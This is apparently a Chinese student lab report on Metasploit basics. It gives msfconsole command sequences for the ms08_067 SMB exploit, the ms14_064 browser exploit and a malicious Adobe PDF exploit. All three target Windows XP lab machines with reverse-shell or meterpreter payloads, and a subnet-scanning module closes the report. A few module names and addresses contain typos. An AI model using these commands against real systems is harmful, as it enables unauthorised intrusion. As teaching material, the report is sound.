Exp5 MSF基础应用
1.基础问题回答
exploit: 是指攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞所进行的攻击行为, 包括利用缓冲区溢出、Web应用程序漏洞攻击,以及利用配置错误等。按照所利用的安全漏洞所在的位置分为主动渗透攻击(攻击某个系统服务),被动渗透攻击(攻击某个客户端应用)。
payload:目标系统在被渗透攻击之后去执行的代码一段指令或称为shellcode。
encode:编码器,确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”;改变特征码,对攻击载荷进行“免杀”处理。
2.实验内容
2.1一个主动攻击实践,如ms08_067; (1分)
攻击机:kali linux ip:222.28.141.136
靶机: windows xp [版本 5.1.2600] ip:192.168.33.133 (中文版)
使用漏洞:ms08_067
输入 use exploit/windows/smb/ms08_067_netapi
设置payload,tcp反向回连 set payload generic/shell_reverse_tcp
设置攻击机ip set LHOST 222.28.141.136
设置攻击端口 set LPORT
设置靶机ip set RHOST 192.168.33.133
设置自动选择目标系统类型
攻击失败!!!通过网上查找资料,发现可能是打过补丁的原因,更换虚拟机。由于换了网络,所以第二次实验时ip也发生了变化。
攻击机:kali linux ip:192.168.33.132
靶机: windows xp [version 5.1.2600] ip:192.168.33.134
重复上述步骤:
攻击成功!!!
2.2 一个针对浏览器的攻击,ms14_064;(唯一)
攻击机:kali linux ip:192.168.33.132
靶机: windows xp [version 5.1.2600] ip:192.168.33.134
首先,我看了一下有哪些攻击浏览器的漏洞可用
下面还有很多........但是不一定都可用,随便选择一个漏洞ms14_064试试。
输入指令 use exploit/windows/browser/ms14_064_ole_code_execution //使用浏览器ms14_064漏洞
进行如下的配置:
set payload windows/meterpreter/reverse_http //http反向回连
set LHOST 192.168.33.132 //攻击机ip
//攻击端口固定
set URIPATH 4322hyt //统一资源标识符路径设置
在访问 http://192.168.33.132:8080/4322hyt 时,可见攻击机出现访问信息。
攻击成功!!!
2.3 一个针对客户端的攻击,如Adobe;(1分)
攻击机:kali IP:192.168.119.128
靶机:windows XP sp2 IP:192.168.119.133
在攻击机kali输入msfconsole进入控制台,输入指令: use exloit/windows/fileformat/adobe_u3d_meshdecl
进行如下配置:
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.33.136 //攻击机ip
//攻击端口
set FILENAME hyt4322.pdf
//设置生成pdf文件的名字
exploit
//攻击
在以上目录中找到该pdf文件,用共享文件夹共享到自己的主机,再拖到靶机。
在靶机上打开该pdf文件。
攻击者可以看到相应的信息,攻击成功!!!
2.4 成功应用任何一个辅助模块。(0.5分)
使用ARP请求枚举本地局域网中所有活跃主机
输入指令: use auxiliary/scanner/discovery/udp_seep
show options
将RHOSTS设置为 192.168.33.0/24,即扫描子网号为192.168.33.0的子网内的所有主机
结果扫描了256个主机,4个活跃,其中192.168.33.135是靶机的IP.
3.实验感想
本次实践让我对msf基础有了更加深入的理解,见识到了它的功能强大性,意识到漏洞库持续更新的重要性。对msf常用模块的使用也在一定程度上熟练了一些。同时再遇到一些错误时,通过提示,进行猜测,上网查找,解决了不少问题,提高了我独立思考的能力。